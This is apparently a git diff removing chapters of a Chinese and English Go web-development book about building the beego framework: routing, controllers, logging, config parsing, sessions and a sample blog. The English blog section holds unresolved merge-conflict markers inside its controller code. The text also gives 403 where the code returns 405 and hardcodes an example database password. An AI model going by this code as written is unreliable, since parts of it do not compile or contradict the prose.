//double check that the Route matches the URL pattern.
if len(matches[0]) != len(requestPath) {
continue
}
params := make(map[string]string)
if len(route.params) > 0 {
//add url parameters to the query param map
values := r.URL.Query()
for i, match := range matches[1:] {
values.Add(route.params[i], match)
params[route.params[i]] = match
}
//reassemble query params and add to RawQuery
r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
//r.URL.RawQuery = url.Values(values).Encode()
}
//Invoke the request handler
vc := reflect.New(route.controllerType)
init := vc.MethodByName("Init")
in := make([]reflect.Value, 2)
ct := &Context{ResponseWriter: w, Request: r, Params: params}
in[0] = reflect.ValueOf(ct)
in[1] = reflect.ValueOf(route.controllerType.Name())
init.Call(in)
in = make([]reflect.Value, 0)
method := vc.MethodByName("Prepare")
method.Call(in)
if r.Method == "GET" {
method = vc.MethodByName("Get")
method.Call(in)
} else if r.Method == "POST" {
method = vc.MethodByName("Post")
method.Call(in)
} else if r.Method == "HEAD" {
method = vc.MethodByName("Head")
method.Call(in)
} else if r.Method == "DELETE" {
method = vc.MethodByName("Delete")
method.Call(in)
} else if r.Method == "PUT" {
method = vc.MethodByName("Put")
method.Call(in)
} else if r.Method == "PATCH" {
method = vc.MethodByName("Patch")
method.Call(in)
} else if r.Method == "OPTIONS" {
method = vc.MethodByName("Options")
method.Call(in)
}
if AutoRender {
method = vc.MethodByName("Render")
method.Call(in)
}
method = vc.MethodByName("Finish")
method.Call(in)
started = true
break
}
//if no matches to url, throw a not found exception
if started == false {
http.NotFound(w, r)
}
}
### 使用入门
基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示:
基本的使用注册路由:
beego.BeeApp.RegisterController("/", &controllers.MainController{})
参数注册:
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})
正则匹配:
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})
## links
* [目录](<preface.md>)
* 上一章: [项目规划](<13.1.md>)
* 下一节: [controller设计](<13.3.md>)

View File

@@ -1,163 +0,0 @@
# 13.3 controller设计
传统的MVC框架大多数是基于Action设计的后缀式映射然而现在Web流行REST风格的架构。尽管使用Filter或者rewrite能够通过URL重写实现REST风格的URL但是为什么不直接设计一个全新的REST风格的 MVC框架呢本小节就是基于这种思路来讲述如何从头设计一个基于REST风格的MVC框架中的controller最大限度地简化Web应用的开发甚至编写一行代码就可以实现“Hello, world”。
## controller作用
MVC设计模式是目前Web应用开发中最常见的架构模式通过分离 Model模型、View视图和 Controller控制器可以更容易实现易于扩展的用户界面(UI)。Model指后台返回的数据View指需要渲染的页面通常是模板页面渲染后的内容通常是HTMLController指Web开发人员编写的处理不同URL的控制器如前面小节讲述的路由就是URL请求转发到控制器的过程controller在整个的MVC框架中起到了一个核心的作用负责处理业务逻辑因此控制器是整个框架中必不可少的一部分Model和View对于有些业务需求是可以不写的例如没有数据处理的逻辑处理没有页面输出的302调整之类的就不需要Model和View但是controller这一环节是必不可少的。
## beego的REST设计
前面小节介绍了路由实现了注册struct的功能而struct中实现了REST方式因此我们需要设计一个用于逻辑处理controller的基类这里主要设计了两个类型一个struct、一个interface
type Controller struct {
Ct *Context
Tpl *template.Template
Data map[interface{}]interface{}
ChildName string
TplNames string
Layout []string
TplExt string
}
type ControllerInterface interface {
Init(ct *Context, cn string) //初始化上下文和子类名称
Prepare() //开始执行之前的一些处理
Get() //method=GET的处理
Post() //method=POST的处理
Delete() //method=DELETE的处理
Put() //method=PUT的处理
Head() //method=HEAD的处理
Patch() //method=PATCH的处理
Options() //method=OPTIONS的处理
Finish() //执行完成之后的处理
Render() error //执行完method对应的方法之后渲染页面
}
那么前面介绍的路由add函数的时候是定义了ControllerInterface类型因此只要我们实现这个接口就可以所以我们的基类Controller实现如下的方法
func (c *Controller) Init(ct *Context, cn string) {
c.Data = make(map[interface{}]interface{})
c.Layout = make([]string, 0)
c.TplNames = ""
c.ChildName = cn
c.Ct = ct
c.TplExt = "tpl"
}
func (c *Controller) Prepare() {
}
func (c *Controller) Finish() {
}
func (c *Controller) Get() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Post() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Delete() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Put() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Head() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Patch() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Options() {
http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
}
func (c *Controller) Render() error {
if len(c.Layout) > 0 {
var filenames []string
for _, file := range c.Layout {
filenames = append(filenames, path.Join(ViewsPath, file))
}
t, err := template.ParseFiles(filenames...)
if err != nil {
Trace("template ParseFiles err:", err)
}
err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
if err != nil {
Trace("template Execute err:", err)
}
} else {
if c.TplNames == "" {
c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
}
t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
if err != nil {
Trace("template ParseFiles err:", err)
}
err = t.Execute(c.Ct.ResponseWriter, c.Data)
if err != nil {
Trace("template Execute err:", err)
}
}
return nil
}
func (c *Controller) Redirect(url string, code int) {
c.Ct.Redirect(code, url)
}
上面的controller基类已经实现了接口定义的函数通过路由根据url执行相应的controller的原则会依次执行如下
Init() 初始化
Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数
method() 根据不同的method执行不同的函数GET、POST、PUT、HEAD等子类来实现这些函数如果没实现那么默认都是403
Render() 可选根据全局变量AutoRender来判断是否执行
Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数
## 应用指南
上面beego框架中完成了controller基类的设计那么我们在我们的应用中可以这样来设计我们的方法
package controllers
import (
"github.com/astaxie/beego"
)
type MainController struct {
beego.Controller
}
func (this *MainController) Get() {
this.Data["Username"] = "astaxie"
this.Data["Email"] = "astaxie@gmail.com"
this.TplNames = "index.tpl"
}
上面的方式我们实现了子类MainController实现了Get方法那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回403而如果是Get来访问因为我们设置了AutoRender=true那么在执行完Get方法之后会自动执行Render函数就会显示如下界面
![](images/13.4.beego.png?raw=true)
index.tpl的代码如下所示我们可以看到数据的设置和显示都是相当的简单方便
<!DOCTYPE html>
<html>
<head>
<title>beego welcome template</title>
</head>
<body>
<h1>Hello, world!{{.Username}},{{.Email}}</h1>
</body>
</html>
## links
* [目录](<preface.md>)
* 上一章: [自定义路由器设计](<13.2.md>)
* 下一节: [日志和配置设计](<13.4.md>)

View File

@@ -1,248 +0,0 @@
# 13.4 日志和配置设计
## 日志和配置的重要性
前面已经介绍过日志在我们程序开发中起着很重要的作用通过日志我们可以记录调试我们的信息当初介绍过一个日志系统seelog根据不同的level输出不同的日志这个对于程序开发和程序部署来说至关重要。我们可以在程序开发中设置level低一点部署的时候把level设置高这样我们开发中的调试信息可以屏蔽掉。
配置模块对于应用部署牵涉到服务器不同的一些配置信息非常有用,例如一些数据库配置信息、监听端口、监听地址等都是可以通过配置文件来配置,这样我们的应用程序就具有很强的灵活性,可以通过配置文件的配置部署在不同的机器上,可以连接不同的数据库之类的。
## beego的日志设计
beego的日志设计部署思路来自于seelog根据不同的level来记录日志但是beego设计的日志系统比较轻量级采用了系统的log.Logger接口默认输出到os.Stdout,用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出详细的实现如下所示
// Log levels to control the logging output.
const (
LevelTrace = iota
LevelDebug
LevelInfo
LevelWarning
LevelError
LevelCritical
)
// logLevel controls the global log level used by the logger.
var level = LevelTrace
// LogLevel returns the global log level and can be used in
// own implementations of the logger interface.
func Level() int {
return level
}
// SetLogLevel sets the global log level used by the simple
// logger.
func SetLevel(l int) {
level = l
}
上面这一段实现了日志系统的日志分级默认的级别是Trace用户通过SetLevel可以设置不同的分级。
// logger references the used application logger.
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)
// SetLogger sets a new logger.
func SetLogger(l *log.Logger) {
BeeLogger = l
}
// Trace logs a message at trace level.
func Trace(v ...interface{}) {
if level <= LevelTrace {
BeeLogger.Printf("[T] %v\n", v)
}
}
// Debug logs a message at debug level.
func Debug(v ...interface{}) {
if level <= LevelDebug {
BeeLogger.Printf("[D] %v\n", v)
}
}
// Info logs a message at info level.
func Info(v ...interface{}) {
if level <= LevelInfo {
BeeLogger.Printf("[I] %v\n", v)
}
}
// Warning logs a message at warning level.
func Warn(v ...interface{}) {
if level <= LevelWarning {
BeeLogger.Printf("[W] %v\n", v)
}
}
// Error logs a message at error level.
func Error(v ...interface{}) {
if level <= LevelError {
BeeLogger.Printf("[E] %v\n", v)
}
}
// Critical logs a message at critical level.
func Critical(v ...interface{}) {
if level <= LevelCritical {
BeeLogger.Printf("[C] %v\n", v)
}
}
上面这一段代码默认初始化了一个BeeLogger对象默认输出到os.Stdout用户可以通过beego.SetLogger来设置实现了logger的接口输出。这里面实现了六个函数
- Trace一般的记录信息举例如下
- "Entered parse function validation block"
- "Validation: entered second 'if'"
- "Dictionary 'Dict' is empty. Using default value"
- Debug调试信息举例如下
- "Web page requested: http://somesite.com Params='...'"
- "Response generated. Response size: 10000. Sending."
- "New file received. Type:PNG Size:20000"
- Info打印信息举例如下
- "Web server restarted"
- "Hourly statistics: Requested pages: 12345 Errors: 123 ..."
- "Service paused. Waiting for 'resume' call"
- Warn警告信息举例如下
- "Cache corrupted for file='test.file'. Reading from back-end"
- "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB"
- "No response from statistics server. Statistics not sent"
- Error错误信息举例如下
- "Internal error. Cannot process request #12345 Error:...."
- "Cannot perform login: credentials DB not responding"
- Critical致命错误举例如下
- "Critical panic received: .... Shutting down"
- "Fatal error: ... App is shutting down to prevent data corruption or loss"
可以看到每个函数里面都有对level的判断所以如果我们在部署的时候设置了level=LevelWarning那么Trace、Debug、Info这三个函数都不会有任何的输出以此类推。
## beego的配置设计
配置信息的解析beego实现了一个key=value的配置文件读取类似ini配置文件的格式就是一个文件解析的过程然后把解析的数据保存到map中最后在调用的时候通过几个string、int之类的函数调用返回相应的值具体的实现请看下面
首先定义了一些ini配置文件的一些全局性常量
var (
bComment = []byte{'#'}
bEmpty = []byte{}
bEqual = []byte{'='}
bDQuote = []byte{'"'}
)
定义了配置文件的格式:
// A Config represents the configuration.
type Config struct {
filename string
comment map[int][]string // id: []{comment, key...}; id 1 is for main comment.
data map[string]string // key: value
offset map[string]int64 // key: offset; for editing.
sync.RWMutex
}
定义了解析文件的函数解析文件的过程是打开文件然后一行一行的读取解析注释、空行和key=value数据
// ParseFile creates a new Config and parses the file configuration from the
// named file.
func LoadConfig(name string) (*Config, error) {
file, err := os.Open(name)
if err != nil {
return nil, err
}
cfg := &Config{
file.Name(),
make(map[int][]string),
make(map[string]string),
make(map[string]int64),
sync.RWMutex{},
}
cfg.Lock()
defer cfg.Unlock()
defer file.Close()
var comment bytes.Buffer
buf := bufio.NewReader(file)
for nComment, off := 0, int64(1); ; {
line, _, err := buf.ReadLine()
if err == io.EOF {
break
}
if bytes.Equal(line, bEmpty) {
continue
}
off += int64(len(line))
if bytes.HasPrefix(line, bComment) {
line = bytes.TrimLeft(line, "#")
line = bytes.TrimLeftFunc(line, unicode.IsSpace)
comment.Write(line)
comment.WriteByte('\n')
continue
}
if comment.Len() != 0 {
cfg.comment[nComment] = []string{comment.String()}
comment.Reset()
nComment++
}
val := bytes.SplitN(line, bEqual, 2)
if bytes.HasPrefix(val[1], bDQuote) {
val[1] = bytes.Trim(val[1], `"`)
}
key := strings.TrimSpace(string(val[0]))
cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
cfg.data[key] = strings.TrimSpace(string(val[1]))
cfg.offset[key] = off
}
return cfg, nil
}
下面实现了一些读取配置文件的函数返回的值确定为bool、int、float64或string
// Bool returns the boolean value for a given key.
func (c *Config) Bool(key string) (bool, error) {
return strconv.ParseBool(c.data[key])
}
// Int returns the integer value for a given key.
func (c *Config) Int(key string) (int, error) {
return strconv.Atoi(c.data[key])
}
// Float returns the float value for a given key.
func (c *Config) Float(key string) (float64, error) {
return strconv.ParseFloat(c.data[key], 64)
}
// String returns the string value for a given key.
func (c *Config) String(key string) string {
return c.data[key]
}
## 应用指南
下面这个函数是我一个应用中的例子用来获取远程url地址的json数据实现如下
func GetJson() {
resp, err := http.Get(beego.AppConfig.String("url"))
if err != nil {
beego.Critical("http get info error")
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
err = json.Unmarshal(body, &AllInfo)
if err != nil {
beego.Critical("error:", err)
}
}
函数中调用了框架的日志函数`beego.Critical`函数用来报错,调用了`beego.AppConfig.String("url")`用来获取配置文件中的信息,配置文件的信息如下(app.conf)
appname = hs
url ="http://www.api.com/api.html"
## links
* [目录](<preface.md>)
* 上一章: [controller设计](<13.3.md>)
* 下一节: [实现博客的增删改](<13.5.md>)

View File

@@ -1,307 +0,0 @@
# 13.5 Adding, deleting and updating blogs
We've already introduced the entire concept behind the Beego framework through examples and pseudo-code. This section will describe how to implement a blogging system using Beego, including the ability to browse, add, modify and delete blog posts.
## Blog directory
Our blog's directory structure can be seen below:
```
/main.go
/views:
/view.tpl
/new.tpl
/layout.tpl
/index.tpl
/edit.tpl
/models/model.go
/controllers:
/index.go
/view.go
/new.go
/delete.go
/edit.go
```
## Blog routing
Our blog's main routing rules are as follows:
```
//Show blog Home
beego.RegisterController("/", &controllers.IndexController{})
//View blog details
beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{})
//Create blog Bowen
beego.RegisterController("/new", &controllers.NewController{})
//Delete Bowen
beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{})
//Edit Bowen
beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{})
```
## Database structure
A trivial database table to store basic blog information:
```
CREATE TABLE entries (
id INT AUTO_INCREMENT,
title TEXT,
content TEXT,
created DATETIME,
primary key (id)
);
```
## Controller
IndexController:
```
type IndexController struct {
beego.Controller
}
func (this *IndexController) Get() {
this.Data["blogs"] = models.GetAll()
this.Layout = "layout.tpl"
this.TplNames = "index.tpl"
}
```
ViewController:
```
type ViewController struct {
beego.Controller
}
func (this *ViewController) Get() {
inputs := this.Input()
id, _ := strconv.Atoi(this.Ctx.Params[":id"])
this.Data["Post"] = models.GetBlog(id)
this.Layout = "layout.tpl"
this.TplNames = "view.tpl"
}
```
NewController
```
type NewController struct {
beego.Controller
}
func (this *NewController) Get() {
this.Layout = "layout.tpl"
this.TplNames = "new.tpl"
}
func (this *NewController) Post() {
inputs := this.Input()
var blog models.Blog
blog.Title = inputs.Get("title")
blog.Content = inputs.Get("content")
blog.Created = time.Now()
models.SaveBlog(blog)
this.Ctx.Redirect(302, "/")
}
```
EditController
```
type EditController struct {
beego.Controller
}
func (this *EditController) Get() {
inputs := this.Input()
id, _ := strconv.Atoi(this.Ctx.Params[":id"])
this.Data["Post"] = models.GetBlog(id)
this.Layout = "layout.tpl"
<<<<<<< HEAD
this.TplNames = "new.tpl"
=======
this.TplNames = "edit.tpl"
>>>>>>> eead24cf064976b648de5826eab51880c803b0fa
}
func (this *EditController) Post() {
inputs := this.Input()
var blog models.Blog
blog.Id, _ = strconv.Atoi(inputs.Get("id"))
blog.Title = inputs.Get("title")
blog.Content = inputs.Get("content")
blog.Created = time.Now()
models.SaveBlog(blog)
this.Ctx.Redirect(302, "/")
}
```
DeleteController
```
type DeleteController struct {
beego.Controller
}
func (this *DeleteController) Get() {
<<<<<<< HEAD
id, _ := strconv.Atoi(this.Ctx.Params[":id"])
this.Data["Post"] = models.DelBlog(id)
this.Ctx.Redirect(302, "/")
=======
id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"])
blog := models.GetBlog(id)
this.Data["Post"] = blog
models.DelBlog(blog)
this.Ctx.Redirect(302, "/")
>>>>>>> eead24cf064976b648de5826eab51880c803b0fa
}
```
## Model layer
```
package models
import (
"database/sql"
"github.com/astaxie/beedb"
_ "github.com/ziutek/mymysql/godrv"
"time"
)
type Blog struct {
Id int `PK`
Title string
Content string
Created time.Time
}
func GetLink() beedb.Model {
db, err := sql.Open("mymysql", "blog/astaxie/123456")
if err != nil {
panic(err)
}
orm := beedb.New(db)
return orm
}
func GetAll() (blogs []Blog) {
db := GetLink()
db.FindAll(&blogs)
return
}
func GetBlog(id int) (blog Blog) {
db := GetLink()
db.Where("id=?", id).Find(&blog)
return
}
func SaveBlog(blog Blog) (bg Blog) {
db := GetLink()
db.Save(&blog)
return bg
}
func DelBlog(blog Blog) {
db := GetLink()
db.Delete(&blog)
return
}
```
## View layer
layout.tpl
```
<html>
<head>
<title>My Blog</title>
<style>
#menu {
width: 200px;
float: right;
}
</style>
</head>
<body>
<ul id="menu">
<li><a href="/">Home</a></li>
<li><a href="/new">New Post</a></li>
</ul>
{{.LayoutContent}}
</body>
</html>
```
index.tpl
```
<h1>Blog posts</h1>
<ul>
{{range .blogs}}
<li>
<a href="/view/{{.Id}}">{{.Title}}</a>
from {{.Created}}
<a href="/edit/{{.Id}}">Edit</a>
<a href="/delete/{{.Id}}">Delete</a>
</li>
{{end}}
</ul>
```
view.tpl
```
<h1>{{.Post.Title}}</h1>
{{.Post.Created}}<br/>
{{.Post.Content}}
```
new.tpl
```
<h1>New Blog Post</h1>
<form action="" method="post">
Title:<input type="text" name="title"><br>
Content<textarea name="content" colspan="3" rowspan="10"></textarea>
<input type="submit">
</form>
```
edit.tpl
```
<h1>Edit {{.Post.Title}}</h1>
<h1>New Blog Post</h1>
<form action="" method="post">
Title:<input type="text" name="title" value="{{.Post.Title}}"><br>
Content<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea>
<input type="hidden" name="id" value="{{.Post.Id}}">
<input type="submit">
</form>
```
## Links
- [Directory](preface.md)
- Previous section: [Logs and configurations](13.4.md)
- Next section: [Summary](13.6.md)

View File

@@ -1,259 +0,0 @@
# 13.5 实现博客的增删改
前面介绍了beego框架实现的整体构思以及部分实现的伪代码这小节介绍通过beego建立一个博客系统包括博客浏览、添加、修改、删除等操作。
## 博客目录
博客目录如下所示:
.
├── controllers
│   ├── delete.go
│   ├── edit.go
│   ├── index.go
│   ├── new.go
│   └── view.go
├── main.go
├── models
│   └── model.go
└── views
├── edit.tpl
├── index.tpl
├── layout.tpl
├── new.tpl
└── view.tpl
## 博客路由
博客主要的路由规则如下所示:
//显示博客首页
beego.Router("/", &controllers.IndexController{})
//查看博客详细信息
beego.Router("/view/:id([0-9]+)", &controllers.ViewController{})
//新建博客博文
beego.Router("/new", &controllers.NewController{})
//删除博文
beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{})
//编辑博文
beego.Router("/edit/:id([0-9]+)", &controllers.EditController{})
## 数据库结构
数据库设计最简单的博客信息
CREATE TABLE entries (
id INT AUTO_INCREMENT,
title TEXT,
content TEXT,
created DATETIME,
primary key (id)
);
## 控制器
IndexController:
type IndexController struct {
beego.Controller
}
func (this *IndexController) Get() {
this.Data["blogs"] = models.GetAll()
this.Layout = "layout.tpl"
this.TplNames = "index.tpl"
}
ViewController:
type ViewController struct {
beego.Controller
}
func (this *ViewController) Get() {
id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"])
this.Data["Post"] = models.GetBlog(id)
this.Layout = "layout.tpl"
this.TplNames = "view.tpl"
}
NewController
type NewController struct {
beego.Controller
}
func (this *NewController) Get() {
this.Layout = "layout.tpl"
this.TplNames = "new.tpl"
}
func (this *NewController) Post() {
inputs := this.Input()
var blog models.Blog
blog.Title = inputs.Get("title")
blog.Content = inputs.Get("content")
blog.Created = time.Now()
models.SaveBlog(blog)
this.Ctx.Redirect(302, "/")
}
EditController
type EditController struct {
beego.Controller
}
func (this *EditController) Get() {
id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"])
this.Data["Post"] = models.GetBlog(id)
this.Layout = "layout.tpl"
this.TplNames = "edit.tpl"
}
func (this *EditController) Post() {
inputs := this.Input()
var blog models.Blog
blog.Id, _ = strconv.Atoi(inputs.Get("id"))
blog.Title = inputs.Get("title")
blog.Content = inputs.Get("content")
blog.Created = time.Now()
models.SaveBlog(blog)
this.Ctx.Redirect(302, "/")
}
DeleteController
type DeleteController struct {
beego.Controller
}
func (this *DeleteController) Get() {
id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"])
blog := models.GetBlog(id)
this.Data["Post"] = blog
models.DelBlog(blog)
this.Ctx.Redirect(302, "/")
}
## model层
package models
import (
"database/sql"
"github.com/astaxie/beedb"
_ "github.com/ziutek/mymysql/godrv"
"time"
)
type Blog struct {
Id int `PK`
Title string
Content string
Created time.Time
}
func GetLink() beedb.Model {
db, err := sql.Open("mymysql", "blog/astaxie/123456")
if err != nil {
panic(err)
}
orm := beedb.New(db)
return orm
}
func GetAll() (blogs []Blog) {
db := GetLink()
db.FindAll(&blogs)
return
}
func GetBlog(id int) (blog Blog) {
db := GetLink()
db.Where("id=?", id).Find(&blog)
return
}
func SaveBlog(blog Blog) (bg Blog) {
db := GetLink()
db.Save(&blog)
return bg
}
func DelBlog(blog Blog) {
db := GetLink()
db.Delete(&blog)
return
}
## view层
layout.tpl
<html>
<head>
<title>My Blog</title>
<style>
#menu {
width: 200px;
float: right;
}
</style>
</head>
<body>
<ul id="menu">
<li><a href="/">Home</a></li>
<li><a href="/new">New Post</a></li>
</ul>
{{.LayoutContent}}
</body>
</html>
index.tpl
<h1>Blog posts</h1>
<ul>
{{range .blogs}}
<li>
<a href="/view/{{.Id}}">{{.Title}}</a>
from {{.Created}}
<a href="/edit/{{.Id}}">Edit</a>
<a href="/delete/{{.Id}}">Delete</a>
</li>
{{end}}
</ul>
view.tpl
<h1>{{.Post.Title}}</h1>
{{.Post.Created}}<br/>
{{.Post.Content}}
new.tpl
<h1>New Blog Post</h1>
<form action="" method="post">
标题:<input type="text" name="title"><br>
内容:<textarea name="content" colspan="3" rowspan="10"></textarea>
<input type="submit">
</form>
edit.tpl
<h1>Edit {{.Post.Title}}</h1>
<h1>New Blog Post</h1>
<form action="" method="post">
标题:<input type="text" name="title" value="{{.Post.Title}}"><br>
内容:<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea>
<input type="hidden" name="id" value="{{.Post.Id}}">
<input type="submit">
</form>
## links
* [目录](<preface.md>)
* 上一章: [日志和配置设计](<13.4.md>)
* 下一节: [小结](<13.6.md>)

View File

@@ -1,7 +0,0 @@
# 13.6 小结
这一章我们主要介绍了如何实现一个基础的Go语言框架框架包含有路由设计由于Go内置的http包中路由的一些不足点我们设计了动态路由规则然后介绍了MVC模式中的Controller设计controller实现了REST的实现这个主要思路来源于tornado框架然后设计实现了模板的layout以及自动化渲染等技术主要采用了Go内置的模板引擎最后我们介绍了一些辅助的日志、配置等信息的设计通过这些设计我们实现了一个基础的框架beego目前该框架已经开源在github最后我们通过beego实现了一个博客系统通过实例代码详细的展现了如何快速的开发一个站点。
## links
* [目录](<preface.md>)
* 上一章: [实现博客的增删改](<13.5.md>)
* 下一节: [扩展Web框架](<14.0.md>)

View File

@@ -1,12 +0,0 @@
# 14 扩展Web框架
第十三章介绍了如何开发一个Web框架通过介绍MVC、路由、日志处理、配置处理完成了一个基本的框架系统但是一个好的框架需要一些方便的辅助工具来快速的开发Web那么我们这一章将就如何提供一些快速开发Web的工具进行介绍第一小节介绍如何处理静态文件如何利用现有的twitter开源的bootstrap进行快速的开发美观的站点第二小节介绍如何利用前面介绍的session来进行用户登录处理第三小节介绍如何方便的输出表单、这些表单如何进行数据验证如何快速的结合model进行数据的增删改操作第四小节介绍如何进行一些用户认证包括http basic认证、http digest认证第五小节介绍如何利用前面介绍的i18n支持多语言的应用开发。第六小节介绍了如何集成Go的pprof包用于性能调试。
通过本章的扩展beego框架将具有快速开发Web的特性最后我们将讲解如何利用这些扩展的特性扩展开发第十三章开发的博客系统通过开发一个完整、美观的博客系统让读者了解beego开发带给你的快速。
## 目录
![](images/navi14.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第十三章总结](<13.6.md>)
* 下一节: [静态文件支持](<14.1.md>)

View File

@@ -1,76 +0,0 @@
# 14.1 静态文件支持
我们在前面已经讲过如何处理静态文件这小节我们详细的介绍如何在beego里面设置和使用静态文件。通过再介绍一个twitter开源的html、css框架bootstrap无需大量的设计工作就能够让你快速地建立一个漂亮的站点。
## beego静态文件实现和设置
Go的net/http包中提供了静态文件的服务`ServeFile`和`FileServer`等函数。beego的静态文件处理就是基于这一层处理的具体的实现如下所示
//static file server
for prefix, staticDir := range StaticDir {
if strings.HasPrefix(r.URL.Path, prefix) {
file := staticDir + r.URL.Path[len(prefix):]
http.ServeFile(w, r, file)
w.started = true
return
}
}
StaticDir里面保存的是相应的url对应到静态文件所在的目录因此在处理URL请求的时候只需要判断对应的请求地址是否包含静态处理开头的url如果包含的话就采用http.ServeFile提供服务。
举例如下:
beego.StaticDir["/asset"] = "/static"
那么请求url如`http://www.beego.me/asset/bootstrap.css`就会请求`/static/bootstrap.css`来提供反馈给客户端。
## bootstrap集成
Bootstrap是Twitter推出的一个开源的用于前端开发的工具包。对于开发者来说Bootstrap是快速开发Web应用程序的最佳前端工具包。它是一个CSS和HTML的集合它使用了最新的HTML5标准给你的Web开发提供了时尚的版式表单按钮表格网格系统等等。
- 组件
  Bootstrap中包含了丰富的Web组件根据这些组件可以快速的搭建一个漂亮、功能完备的网站。其中包括以下组件
  下拉菜单、按钮组、按钮下拉菜单、导航、导航条、面包屑、分页、排版、缩略图、警告对话框、进度条、媒体对象等
- Javascript插件
  Bootstrap自带了13个jQuery插件这些插件为Bootstrap中的组件赋予了“生命”。其中包括
  模式对话框、标签页、滚动条、弹出框等。
- 定制自己的框架代码
  可以对Bootstrap中所有的CSS变量进行修改依据自己的需求裁剪代码。
![](images/14.1.bootstrap.png?raw=true)
图14.1 bootstrap站点
接下来我们利用bootstrap集成到beego框架里面来快速的建立一个漂亮的站点。
1. 首先把下载的bootstrap目录放到我们的项目目录取名为static如下截图所示
![](images/14.1.bootstrap2.png?raw=true)
图14.2 项目中静态文件目录结构
2. 因为beego默认设置了StaticDir的值所以如果你的静态文件目录是static的话就无须再增加了
StaticDir["/static"] = "static"
3. 模板中使用如下的地址就可以了:
//css文件
<link href="/static/css/bootstrap.css" rel="stylesheet">
//js文件
<script src="/static/js/bootstrap-transition.js"></script>
//图片文件
<img src="/static/img/logo.png">
上面可以实现把bootstrap集成到beego中来如下展示的图就是集成进来之后的展现效果图
![](images/14.1.bootstrap3.png?raw=true)
图14.3 构建的基于bootstrap的站点界面
这些模板和格式bootstrap官方都有提供这边就不再重复贴代码大家可以上bootstrap官方网站学习如何编写模板。
## links
* [目录](<preface.md>)
* 上一节: [扩展Web框架](<14.0.md>)
* 下一节: [Session支持](<14.2.md>)

View File

@@ -1,103 +0,0 @@
# 14.2 Session支持
第六章的时候我们介绍过如何在Go语言中使用session也实现了一个sessionMangerbeego框架基于sessionManager实现了方便的session处理功能。
## session集成
beego中主要有以下的全局变量来控制session处理
//related to session
SessionOn bool // 是否开启session模块默认不开启
SessionProvider string // session后端提供处理模块默认是sessionManager支持的memory
SessionName string // 客户端保存的cookies的名称
SessionGCMaxLifetime int64 // cookies有效期
GlobalSessions *session.Manager //全局session控制器
当然上面这些变量需要初始化值,也可以按照下面的代码来配合配置文件以设置这些值:
if ar, err := AppConfig.Bool("sessionon"); err != nil {
SessionOn = false
} else {
SessionOn = ar
}
if ar := AppConfig.String("sessionprovider"); ar == "" {
SessionProvider = "memory"
} else {
SessionProvider = ar
}
if ar := AppConfig.String("sessionname"); ar == "" {
SessionName = "beegosessionID"
} else {
SessionName = ar
}
if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 {
int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64)
SessionGCMaxLifetime = int64val
} else {
SessionGCMaxLifetime = 3600
}
在beego.Run函数中增加如下代码
if SessionOn {
GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime)
go GlobalSessions.GC()
}
这样只要SessionOn设置为true那么就会默认开启session功能独立开一个goroutine来处理session。
为了方便我们在自定义Controller中快速使用session作者在`beego.Controller`中提供了如下方法:
func (c *Controller) StartSession() (sess session.Session) {
sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request)
return
}
## session使用
通过上面的代码我们可以看到beego框架简单地继承了session功能那么在项目中如何使用呢
首先我们需要在应用的main入口处开启session
beego.SessionOn = true
然后我们就可以在控制器的相应方法中如下所示的使用session了
func (this *MainController) Get() {
var intcount int
sess := this.StartSession()
count := sess.Get("count")
if count == nil {
intcount = 0
} else {
intcount = count.(int)
}
intcount = intcount + 1
sess.Set("count", intcount)
this.Data["Username"] = "astaxie"
this.Data["Email"] = "astaxie@gmail.com"
this.Data["Count"] = intcount
this.TplNames = "index.tpl"
}
上面的代码展示了如何在控制逻辑中使用session主要分两个步骤
1. 获取session对象
//获取对象,类似PHP中的session_start()
sess := this.StartSession()
2. 使用session进行一般的session值操作
//获取session值类似PHP中的$_SESSION["count"]
sess.Get("count")
//设置session值
sess.Set("count", intcount)
从上面代码可以看出基于beego框架开发的应用中使用session相当方便基本上和PHP中调用`session_start()`类似。
## links
* [目录](<preface.md>)
* 上一节: [静态文件支持](<14.1.md>)
* 下一节: [表单及验证支持](<14.3.md>)

View File

@@ -1,281 +0,0 @@
# 14.3 表单及验证支持
在Web开发中对于这样的一个流程可能很眼熟
- 打开一个网页显示出表单。
